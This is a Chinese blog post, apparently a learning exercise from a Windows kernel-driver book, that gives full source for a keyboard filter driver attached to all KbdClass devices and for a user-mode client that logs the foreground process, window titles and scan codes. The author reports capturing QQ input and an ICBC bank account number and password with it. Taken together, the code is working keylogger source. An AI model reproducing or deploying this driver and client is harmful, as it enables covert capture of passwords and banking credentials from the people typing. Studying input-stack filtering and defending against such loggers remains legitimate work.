键盘过滤一(绑定KbdClass)

 
这是寒江独钓里面的第4章的第一个例子, 绑定键盘设备, 采用的是绑定KbdClass驱动对象下的所有设备对象的做法, 算是比较高层了. 不过在这层进行截获可以获得很好的通用性. 我试验了一下腾讯的QQ, 能够截获到. 而且工商银行的账号和密码也可以截获到. 我倒. 这么大的银行难道都没有一点保护措施?? 难以置信!

 
其实这个绑定设备的和上一篇那个差不多, 主要就是过滤了.. 要过滤当然需要绑定KbdClass下面的所有设备对象, 这个可以自己手工遍历, 也可以通过IoEnumerateDeviceObjectList.不过这号函数我没有用. 遍历一个驱动对象下的设备对象也不是很难. 所以说基本上也就没有什么困难了.
 
寒江独钓在删除设备的时候用了延时什么的, 还搞了个全局定时器. 恩. 太麻烦了. 调用IoCancelIrp就可以了.. 好像说来说去都没有好说的, 就是这么个套路. 本来我还想直接搞一个可以翻译成正常的ASCII码的, 但是有点麻烦算了. 回头再说吧. 现在截取效果也是不错了.. 将就着..
 
这边是截图和代码.

        http://www.joenchen.com/JoenTools/KeyBoardCap.rar

  

用户态的代码:

 

/*
        Windows 内核下键盘过滤设备的简单演示 应用层代码
        编译方法参见makefile. TAB = 8
*/
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <Tlhelp32.h>
#include <locale.h>
#include "GetKey.h"
#include <assert.h>

#pragma comment( linker, "/Entry:Jmain" )
#pragma comment( linker, "/SubSystem:Console" )

#define DEVICE_NAME	"\\\\.\\SysLinkKeyBoardCap"
//===========================================================================
//获取进程句柄对应的进程名称
//===========================================================================
BOOL _GetProcessName( DWORD dwProcessId, PTCHAR tcBuf ) {
	HANDLE _hSnapsHot;
	PROCESSENTRY32 _StProcess;

	RtlZeroMemory( &_StProcess, sizeof( PROCESSENTRY32 ) );

	_hSnapsHot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

	if ( _hSnapsHot == ( HANDLE ) - 1 ) {
		return FALSE;
	}

	_StProcess.dwSize = sizeof( PROCESSENTRY32 );

	if ( !Process32First( _hSnapsHot, &_StProcess ) ) {
		return FALSE;
	}

	do {
		//查看是否是要查找的进程ID
		if( _StProcess.th32ProcessID == dwProcessId ) {
			lstrcpy( tcBuf, ( LPCWSTR ) & ( _StProcess.szExeFile ) );
			return TRUE;
		}

		//这句是C语言有Bug的语句. 哈哈居然也可以编译通过
		//while ( Process32Next, _hSnapsHot, &_StProcess );
	} while ( Process32Next( _hSnapsHot, &_StProcess ) );

	return FALSE;
}
//===========================================================================
	//打印按键信息
//sch	:扫描码
//===========================================================================
static int kb_status = S_NUM;
void __stdcall print_keystroke( UCHAR sch ) {
	UCHAR	ch = 0;
	int		off = 0;

	if ( ( sch & 0x80 ) == 0 ) {	//make
		if ( ( sch < 0x47 ) ||
		        ( ( sch >= 0x47 && sch < 0x54 ) && ( kb_status & S_NUM ) ) ) { // Num Lock
			ch = asciiTbl[off + sch];
		}

		switch ( sch ) {
		case 0x3A:
			kb_status ^= S_CAPS;
			break;

		case 0x2A:
		case 0x36:
			kb_status |= S_SHIFT;
			break;

		case 0x45:
			kb_status ^= S_NUM;
		}
	} else {	//break
		if ( sch == 0xAA || sch == 0xB6 )
			kb_status &= ~S_SHIFT;
	}

	if ( ch >= 0x20 && ch < 0x7F ) {
		printf( "状态码:%p %p %c\n", kb_status,  ch, ch );

	}else {
		printf( "控制字符\n" );
	}

}
//===========================================================================
//解析键盘按键消息
//pKeyBuf	:按键消息缓冲区
//dwBufLen	:缓冲区长度
//返回值, 如果是可打印的ASCII码, 返回True, 否则返回FALSE
//===========================================================================
BOOL Resolve( PKEYBOARD_INPUT_DATA pKeyBuf, DWORD dwBufLen, PTCHAR pOutChar ) {
	ULONG i;
//	UCHAR cMakeCode;
	UCHAR ch = 0;
	ULONG off = 0;
	static DWORD kb_status = S_NUM;
	DWORD dwKeyBoardNum;

	assert( pKeyBuf != NULL );

	//按键的数量
	dwKeyBoardNum = dwBufLen / sizeof( KEYBOARD_INPUT_DATA );

	for( i = 0; i < dwKeyBoardNum; i++ ) {

		wprintf( _T( "按键数量:%d " ), dwKeyBoardNum );
		wprintf( _T( "扫描码:%p " ), pKeyBuf->MakeCode );
		wprintf( _T( "%-6ws" ), pKeyBuf->Flags ? _T( "Up" ) : _T( "Down" ) );

		print_keystroke( ( UCHAR )pKeyBuf->MakeCode );
		pKeyBuf++;
	}

	return FALSE;
}
//===========================================================================
ULONG  Jmain( ) {
	HWND hWnd;
	BOOL bRet;
	DWORD dwProcessId;
	DWORD dwThreadId;
	DWORD dwOldProcessId;
	HANDLE hDevice;
	_TCHAR cChar;
	DWORD dwByteRead;
	_TCHAR SzBuf[512];
	_TCHAR SzBuf2[512];

	setlocale( LC_ALL, "chs" );			//设置字符集

//---------------------------------------------------------------------------
	hDevice = CreateFile( _T( DEVICE_NAME ), GENERIC_READ | GENERIC_WRITE,
	                      0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );

	if ( hDevice == INVALID_HANDLE_VALUE ) {
		wprintf( _T( "打开设备失败!\n" ) );
		return -1;
	}

//---------------------------------------------------------------------------
	//监听所有按下键盘的操作
//---------------------------------------------------------------------------
	RtlZeroMemory( SzBuf2, sizeof( SzBuf2 ) );

	for( dwOldProcessId = 0;; ) {

		//获取用户的最前台窗口
		hWnd =  GetForegroundWindow();

		if ( !hWnd ) {
			continue;
		}

//---------------------------------------------------------------------------
		//获取当前有焦点的窗口的进程和线程句柄
		dwThreadId = GetWindowThreadProcessId( hWnd,  &dwProcessId );

		if ( !dwThreadId ) {
			wprintf( _T( "获取线程Id失败!\n" ) );
			continue;
		}

		//获取进程名字
		if ( !_GetProcessName( dwProcessId, &SzBuf[0] ) ) {
			wprintf( _T( "获取进程名字失败!\n" ) );
		} else {
			if ( dwOldProcessId != dwProcessId ) {
				wprintf( _T( "\n--------------------------------------------------------------------\n" ) );
				wprintf( _T( "进程名称:%ws\n" ), &SzBuf[0] );
				dwOldProcessId = dwProcessId;
			}
		}

//---------------------------------------------------------------------------
		//获取当前输入的窗口名称
		RtlZeroMemory( &SzBuf[0], sizeof( SzBuf ) );

		//获取窗口名称
		if ( !GetWindowText( hWnd, &SzBuf[0], sizeof( SzBuf ) / 2 ) ) {
			continue;
		} else {

			if ( lstrcmp( SzBuf2, SzBuf ) != 0 ) {
				wprintf( _T( "窗口名称:%s\n" ), &SzBuf[0] );
				lstrcpy( SzBuf2, SzBuf );
			}
		}

//---------------------------------------------------------------------------
		//当然最重要的就是获取上面的按键了
		RtlZeroMemory( SzBuf, sizeof( SzBuf ) );

		//向设备发送Irp_mj_Read
		bRet = ReadFile( hDevice, SzBuf, sizeof( SzBuf ), &dwByteRead, NULL );

		if ( !bRet ) {
			wprintf( _T( "串口读取完成!\n" ) );
			break;
		} else {

			//如果是能够解析到的按键, 那么打印
			Resolve( ( PKEYBOARD_INPUT_DATA )SzBuf, dwByteRead, &cChar );
		}
	}

//---------------------------------------------------------------------------
	if ( hDevice != INVALID_HANDLE_VALUE ) {
		CloseHandle( hDevice );
	}

	system( "pause" );
	return 0;
}

这边是内核态的代码:

/*
        Windows 内核下键盘过滤设备的简单演示 驱动层代码
        编译方法参见makefile. TAB = 8
*/
#include <ntddk.h>
#include "KeyBoard.h"

#define DEVICE_NAME	L"\\Device\\DevKeyBoardCap"
#define SYS_LINK_NAME	L"\\??\\SysLinkKeyBoardCap"
#define KBD_DRIVER_NAME	L"\\Driver\\Kbdclass"		// Kbdclass驱动的名字

//---------------------------------------------------------------------------
typedef struct tagDeviceExt {
	ULONG bFlags;			//TRUE表示过滤设备, FALSE就是我们自己的设备了
	PIRP pCurrentIrp;
	PIRP pRoxyIrp;			//代理Irp
	PDEVICE_OBJECT pDeviceObj;
	PDEVICE_OBJECT pLowDeviceObj;
	UNICODE_STRING USzDeviceName;
	UNICODE_STRING USzSysLinkName;
} DEVICE_EXT, *PDEVICE_EXT;

//===========================================================================
//驱动卸载例程
//===========================================================================
VOID DriverUnLoad( PDRIVER_OBJECT pDriverObj ) {
	PDEVICE_EXT pDeviceExt = NULL;
	PDEVICE_OBJECT pNextDeviceObj = NULL;

	pNextDeviceObj = pDriverObj->DeviceObject;

	while ( pNextDeviceObj ) {
		pDeviceExt = pNextDeviceObj->DeviceExtension;

		ASSERT( pDeviceExt );

		//如果有未决的Irp
		if ( pDeviceExt->pCurrentIrp ) {
			IoCancelIrp( pDeviceExt->pCurrentIrp );
		}

		//如果还有自己的代理irp
		if ( pDeviceExt->pRoxyIrp ) {
			IoCancelIrp( pDeviceExt->pRoxyIrp );
		}

		//取消绑定
		if ( pDeviceExt->pLowDeviceObj ) {
			IoDetachDevice( pDeviceExt->pLowDeviceObj );

		}

		//删除符号链接
		if ( pDeviceExt->USzSysLinkName.Buffer ) {
			IoDeleteSymbolicLink( &pDeviceExt->USzSysLinkName );
		}

		//删除设备
		IoDeleteDevice( pDeviceExt->pDeviceObj );

		if ( pDeviceExt->USzDeviceName.Buffer ) {
			KdPrint ( ( "删除%wZ设备成功!\n", &pDeviceExt->USzDeviceName ) );
		} else {
			KdPrint ( ( "删除无名设备成功1\n" ) );
		}

		pNextDeviceObj = pNextDeviceObj->NextDevice;
	}
}
//===========================================================================
//创建设备用于和R3通信
//pDriverObj            驱动对象指针
//pDeviceObjName        设备对象名称
//pSysLinkName          设备对象的符号链接名称(可以为NULL)
//bFlags                是否是绑定设备的标记
//pDeviceObj            二级指针, 用于返回设备对象
//===========================================================================
NTSTATUS _CreateDevice( PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pDeviceObjName,
                        PUNICODE_STRING pSysLinkName, ULONG bFlags,
                        PDEVICE_OBJECT* pDeviceObj ) {

	NTSTATUS Status;
	PDEVICE_EXT pDeviceExt = NULL;

	PAGED_CODE();
//---------------------------------------------------------------------------
	Status = IoCreateDevice( pDriverObj, sizeof( DEVICE_EXT ), pDeviceObjName,
	                         FILE_DEVICE_UNKNOWN, 0, TRUE, pDeviceObj );

	if ( !NT_SUCCESS( Status ) ) {
		KdPrint ( ( "创建%wZ设备失败!\n", pDeviceObjName ) );
		return Status;
	}

	if ( pSysLinkName ) {
		Status = IoCreateSymbolicLink( pSysLinkName, pDeviceObjName );

		if ( !NT_SUCCESS( Status ) ) {

			KdPrint ( ( "创建%wZ符号链接失败!\n", pSysLinkName ) );
			IoDeleteDevice( *pDeviceObj  );
			return Status;
		}
	}

//---------------------------------------------------------------------------
	pDeviceExt = ( *pDeviceObj )->DeviceExtension;
	ASSERT( pDeviceExt );

	//设置设备属性, 因为这个设备不是过滤设备, 所以bFlags为False
	RtlZeroMemory( pDeviceExt, sizeof( DEVICE_EXT ) );
	pDeviceExt->pDeviceObj = *pDeviceObj;
	pDeviceExt->bFlags = bFlags;

	if ( pDeviceObjName  ) {
		pDeviceExt->USzDeviceName = *pDeviceObjName;
	}

	if ( pSysLinkName ) {
		pDeviceExt->USzSysLinkName = *pSysLinkName;
	}

	return Status;
}

//===========================================================================
//绑定Kbdclass下的所有设备对象
//pDriverObj	:驱动对象
//返回值	:状态
//===========================================================================
NTSTATUS _AttachAllKeyBoards(  PDRIVER_OBJECT pDriverObj ) {
	NTSTATUS Status;
	PDRIVER_OBJECT pKbdDriverObj = NULL;
	PDEVICE_OBJECT pTagetDeviceObj = NULL;
	PDEVICE_OBJECT pFilterDeviceObj = NULL;
	PDEVICE_OBJECT pLowerDeviceObj = NULL;
	PDEVICE_EXT pDeviceExt = NULL;
	POBJECT_HEADER ObjHeader = NULL;
	POBJECT_HEADER_NAME_INFO ObjName = NULL;
	UNICODE_STRING USzKbdClass = RTL_CONSTANT_STRING( KBD_DRIVER_NAME );

	PAGED_CODE();
//---------------------------------------------------------------------------
	Status = ObReferenceObjectByName( &USzKbdClass, OBJ_CASE_INSENSITIVE,
	                                  NULL, 0, IoDriverObjectType, KernelMode,
	                                  NULL, &pKbdDriverObj );

	if ( !NT_SUCCESS( Status ) ) {
		return Status;
	} else {
		// 这个打开需要解应用。早点解除了免得之后忘记。
		ObDereferenceObject( pKbdDriverObj );
	}

//---------------------------------------------------------------------------
	//遍历Kbdclass下所有的设备对象, 进行绑定
	pTagetDeviceObj = pKbdDriverObj->DeviceObject;

	while ( pTagetDeviceObj ) {

		//创建和R3通信的设备Flags = FALSE
		Status = _CreateDevice( pDriverObj, NULL, NULL, TRUE, &pFilterDeviceObj );

		if ( !NT_SUCCESS( Status ) ) {
			KdPrint ( ( "创建过滤设备失败!\n" ) );
			return Status;
		}

		Status = IoAttachDeviceToDeviceStackSafe( pFilterDeviceObj, pTagetDeviceObj,
		         &pLowerDeviceObj );

		if ( !NT_SUCCESS( Status ) ) {
			KdPrint ( ( "绑定设备失败!\n" ) );

			IoDeleteDevice( pFilterDeviceObj );
			pFilterDeviceObj = NULL;
			return Status;
		}

		//设置设备扩展属性
		pDeviceExt = pFilterDeviceObj->DeviceExtension;
		pDeviceExt->pLowDeviceObj = pLowerDeviceObj;
		pDeviceExt->pDeviceObj = pFilterDeviceObj;

		//设置过滤设备的属性(重要, 不要设置错了)
		pFilterDeviceObj->DeviceType = pLowerDeviceObj->DeviceType;
		pFilterDeviceObj->Characteristics = pLowerDeviceObj->Characteristics;
		pFilterDeviceObj->StackSize = pLowerDeviceObj->StackSize + 1;
		pFilterDeviceObj->Flags |= pLowerDeviceObj->Flags
		                           & ( DO_BUFFERED_IO | DO_DIRECT_IO | DO_POWER_PAGABLE );
//---------------------------------------------------------------------------
		//得到对象头
		ObjHeader = OBJECT_TO_OBJECT_HEADER( pLowerDeviceObj );
		ASSERT( ObjHeader != NULL );

		//查询设备名称
		ObjName = OBJECT_HEADER_TO_NAME_INFO( ObjHeader );

		KdPrint ( ( "绑定%wZ设备成功!\n", &ObjName->Name ) );
//---------------------------------------------------------------------------
		//遍历下一个设备
		pTagetDeviceObj = pTagetDeviceObj->NextDevice;
	}

	return Status;
}
//===========================================================================
//所有不关心的的Irp处理
//===========================================================================
NTSTATUS DispatchRoutine( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;
	ASSERT( pDeviceExt );

//---------------------------------------------------------------------------
	//过滤设备不关心的Irp处理
	if ( pDeviceExt->bFlags ) {
		IoSkipCurrentIrpStackLocation( pIrp );

		KdPrint ( ( "不关心的Irp来了一次!\n" ) );

		//这里返回值应该返回底层设备返回的值(注意了)
		return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );
//---------------------------------------------------------------------------
		//我们和R3设备之间的通信
	} else {
		pIrp->IoStatus.Information = 0;
		pIrp->IoStatus.Status = STATUS_SUCCESS;

		IoCompleteRequest( pIrp, IO_NO_INCREMENT );

		KdPrint ( ( "R3不关心的Irp来了一次!\n" ) );
		return STATUS_SUCCESS;
	}
}

//===========================================================================
//在键盘设备的读取请求中, 完成我们自己创建的R3设备
//pDriverObj	:驱动对象
//pBuf		:欲Copy到3环的缓冲区
//ulBufLen	:缓冲区长度
//===========================================================================
NTSTATUS _CompletionR3Read( PDRIVER_OBJECT pDriverObj, PUCHAR pBuf, ULONG ulBufLen ) {
	ULONG ulUserBufLen;
	PUCHAR pUserBuf = NULL;
	PDEVICE_EXT pDeviceExt = NULL;
	PDEVICE_OBJECT pNextDevice = NULL;
	PIO_STACK_LOCATION pUserStack = NULL;

	//遍历所有设备找到我们自己和R3通信的设备
	pNextDevice = pDriverObj->DeviceObject;
	ASSERT( pNextDevice != NULL );

	for( ; pNextDevice != NULL; pNextDevice = pNextDevice->NextDevice ) {

		pDeviceExt = pNextDevice->DeviceExtension;
		ASSERT( pDeviceExt );

		if ( !pDeviceExt->pCurrentIrp || pDeviceExt->bFlags ) {
			continue;
		}

		//获取R3那边读取请求的Irp
		pUserStack = IoGetCurrentIrpStackLocation( pDeviceExt->pCurrentIrp );
		ASSERT( pUserStack != NULL );

		//缓冲区长度
		ulUserBufLen = pUserStack->Parameters.Read.Length;

		//映射R3那边的地址到高2G这边来
		pUserBuf = MmGetSystemAddressForMdlSafe( pDeviceExt->pCurrentIrp->MdlAddress,
		           NormalPagePriority );

		//如果缓冲区传递错误了
		if ( !pUserBuf ) {
			pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_INVALID_PARAMETER;
			pDeviceExt->pCurrentIrp->IoStatus.Information = 0;

		} else {
			//如果用户态那边的缓冲区太少, 返回错误
			if ( ulUserBufLen < ulBufLen ) {
				pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
				pDeviceExt->pCurrentIrp->IoStatus.Information = 0;
			} else {
				//条件都够了那么就Copy内存过去
				RtlCopyMemory( pUserBuf, pBuf, ulBufLen );
				pDeviceExt->pCurrentIrp->IoStatus.Status = STATUS_SUCCESS;
				pDeviceExt->pCurrentIrp->IoStatus.Information = ulBufLen;
			}
		}

		IoCompleteRequest( pDeviceExt->pCurrentIrp, IO_NO_INCREMENT );
		pDeviceExt->pCurrentIrp = NULL;
		pDeviceExt = NULL;
		return STATUS_SUCCESS;
	}

	return STATUS_UNSUCCESSFUL;
}
//===========================================================================
//读取请求的完成例程, 这边如果有我们自己创建设备的挂起的Irp那么就会在这里完成
//===========================================================================
NTSTATUS CompletionRead( PDEVICE_OBJECT pDeviceObj, PIRP pIrp, PVOID pContext ) {
	ULONG ulBufLen, i;
	NTSTATUS Status;
	PUCHAR pBuf = NULL;
	PIO_STACK_LOCATION pStack = NULL;

	PAGED_CODE();
//---------------------------------------------------------------------------
	pStack = IoGetCurrentIrpStackLocation( pIrp );

	//判断请求是否成功, 不成功处理是没有意义的
	if ( NT_SUCCESS( pIrp->IoStatus.Status ) ) {

		//获取读取请求的缓冲区, 和长度
		pBuf = pIrp->AssociatedIrp.SystemBuffer;
		ulBufLen = pIrp->IoStatus.Information;

		for( i = 0; i < ulBufLen; i++ ) {
			KdPrint ( ( "%3X", pBuf[i] ) );
		}

		KdPrint ( ( "\n" ) );

		//这里保存起自己的Irp, 用于在卸载时发送取消消息
		( ( PDEVICE_EXT )pDeviceObj->DeviceExtension )->pRoxyIrp = pIrp;
//---------------------------------------------------------------------------
//如果与我们通信的3环Irp被挂起了, 那么这里就可以返回了
//---------------------------------------------------------------------------
		Status = _CompletionR3Read( pDeviceObj->DriverObject,
		                            pBuf, ulBufLen  );

		if ( !NT_SUCCESS( Status ) ) {
			KdPrint ( ( "R3那边的读取请求完成失败!\n" ) );
		} else {
			KdPrint ( ( "R3那边的请求成功完成!\n" ) );
		}
	}

//---------------------------------------------------------------------------
	//进入此函数标志底层驱动设备将IRP完成
	KdPrint( ( "Completion:读取请求的完成例程\n" ) );

	if ( pIrp->PendingReturned ) {
		//传播pending位
		IoMarkIrpPending( pIrp );
	}

	return pIrp->IoStatus.Status;
}
//===========================================================================
//我们和R3通信设备的取消例程
//===========================================================================
VOID OnCancelIRP( PDEVICE_OBJECT pDeviceObj, PIRP pIrp  ) {
	PDEVICE_EXT pDeviceExt = NULL;

	PAGED_CODE_LOCKED();
//---------------------------------------------------------------------------
	//释放Cancel自旋锁
	IoReleaseCancelSpinLock( pIrp->CancelIrql );

	pDeviceExt = pDeviceObj->DeviceExtension;
	ASSERT( pDeviceExt );

	if ( pDeviceExt->pCurrentIrp == pIrp ) {
		pDeviceExt->pCurrentIrp = NULL;
	}

	//设置完成状态为STATUS_CANCELLED
	pIrp->IoStatus.Status = STATUS_CANCELLED;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest( pIrp, IO_NO_INCREMENT );

	KdPrint ( ( "和R3的通信设备取消例程被调用!\n" ) );

}
//===========================================================================
//读取请求过滤
//===========================================================================
NTSTATUS DispatchRead( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;
	PIO_STACK_LOCATION pStack = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;
	ASSERT( pDeviceExt );

//---------------------------------------------------------------------------
	//如果是过滤设备
	if ( pDeviceExt->bFlags ) {

		//这句一直都没有搞明白,
		if ( pIrp->CurrentLocation == 1 ) {

			pIrp->IoStatus.Information = 0;
			pIrp->IoStatus.Status = STATUS_SUCCESS;
			IoCompleteRequest( pIrp, IO_NO_INCREMENT );
			return STATUS_SUCCESS;
		}

		pStack = IoGetCurrentIrpStackLocation( pIrp );
		IoCopyCurrentIrpStackLocationToNext( pIrp );

		//设置完成例程
		IoSetCompletionRoutine( pIrp, &CompletionRead, pDeviceObj, TRUE, TRUE, TRUE );

		KdPrint ( ( "键盘读取请求来了, 我们设置了一个回调例程!\n" ) );

		return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );
//---------------------------------------------------------------------------
		//如果是我们自己创建的设备
	} else {

		//如果这里为TRUE, 那么肯定是上次没有来得及处理的Irp, 那么取消
		if ( pDeviceExt->pCurrentIrp ) {
			IoCancelIrp( pDeviceExt->pCurrentIrp );
			pDeviceExt->pCurrentIrp = NULL;
		}

		pDeviceExt->pCurrentIrp = pIrp;

		//将IRP设置为挂起
		IoMarkIrpPending( pIrp );

		//设置取消例程
		IoSetCancelRoutine( pIrp, OnCancelIRP );

		KdPrint ( ( "R3读取请求来了一次!\n" ) );

		//返回pending状态
		return STATUS_PENDING;
	}
}
//===========================================================================
//写入请求处理例程
//===========================================================================
NTSTATUS DispatchWrite( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;

	//如果是过滤设备
	if ( pDeviceExt->bFlags ) {

		IoSkipCurrentIrpStackLocation( pIrp );
		//这里返回值应该返回底层设备返回的值(注意了)
		return IoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );

//---------------------------------------------------------------------------
		//如果是我们自己创建的设备
	} else {
		pIrp->IoStatus.Information = 0;
		pIrp->IoStatus.Status = STATUS_SUCCESS;
		IoCompleteRequest( pIrp, IO_NO_INCREMENT );
		return STATUS_SUCCESS;
	}
}
//===========================================================================
//电源设备请求
//===========================================================================
NTSTATUS DispatchPower( PDEVICE_OBJECT pDeviceObj, PIRP pIrp ) {
	PDEVICE_EXT pDeviceExt = NULL;

	pDeviceExt = pDeviceObj->DeviceExtension;

	//如果是过滤设备
	if ( pDeviceExt->bFlags ) {

		PoStartNextPowerIrp( pIrp );
		IoSkipCurrentIrpStackLocation( pIrp );
		//返回底层设备返回的值
		return PoCallDriver( pDeviceExt->pLowDeviceObj, pIrp );
//---------------------------------------------------------------------------
		//如果是我们自己创建的设备
	} else {
		pIrp->IoStatus.Information = 0;
		pIrp->IoStatus.Status = STATUS_SUCCESS;
		IoCompleteRequest( pIrp, IO_NO_INCREMENT );
		return STATUS_SUCCESS;
	}
}
//===========================================================================
//驱动程序入口
//===========================================================================
#pragma code_seg( "INIT", "DriverEntry" )
NTSTATUS DriverEntry(  PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath ) {
	ULONG i;
	NTSTATUS Status;
	PDEVICE_OBJECT pDeviceObj = NULL;
	UNICODE_STRING USzDeviceName = RTL_CONSTANT_STRING( DEVICE_NAME );
	UNICODE_STRING USzSysLinkName = RTL_CONSTANT_STRING( SYS_LINK_NAME );

//---------------------------------------------------------------------------
	//创建和R3通信的设备Flags = FALSE
	Status = _CreateDevice( pDriverObj, &USzDeviceName, &USzSysLinkName,
	                        FALSE, &pDeviceObj );

	if ( !NT_SUCCESS( Status ) ) {
		KdPrint ( ( "创建和R3通信的设备失败!\n" ) );
		return Status;
	}

	ASSERT( pDeviceObj != NULL );

	//设置缓冲区操作方式(操作设备的时候老是用=不用|=
	pDeviceObj->Flags |= DO_DIRECT_IO;
	pDeviceObj->Flags &= ~DO_DEVICE_INITIALIZING;
//---------------------------------------------------------------------------
	//绑定所有的键盘设备
	Status = _AttachAllKeyBoards( pDriverObj );

	if ( !NT_SUCCESS( Status ) ) {
		KdPrint ( ( "绑定KbdClass设备失败!\n" ) );
		return Status;
	}

//---------------------------------------------------------------------------
	//设置分发函数
	for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ ) {
		pDriverObj->MajorFunction[i] = &DispatchRoutine;
	}

	pDriverObj->MajorFunction[IRP_MJ_READ] = &DispatchRead;
	pDriverObj->MajorFunction[IRP_MJ_WRITE] = &DispatchWrite;
	pDriverObj->MajorFunction[IRP_MJ_POWER] = &DispatchPower;
	pDriverObj->DriverUnload = &DriverUnLoad;

	KdPrint ( ( "DriverEntry执行完毕!\n" ) );
//---------------------------------------------------------------------------
	return Status;
}

网友评论:

  1. 键盘过滤一(绑定KbdClass) | 小陈's blog 说:

    [...] [原文地址] 标签: 键盘记录 关于本文 [...]

  2. klop 说:

    这个代码没有解决不能捕获首次按键的问题,我也遇到这个问题

发表评论


Warning: Undefined variable $user_ID in /www/wwwroot/joenchen.com/wp-content/themes/x-agan/comments.php on line 66

您必须登录 才能进行评论。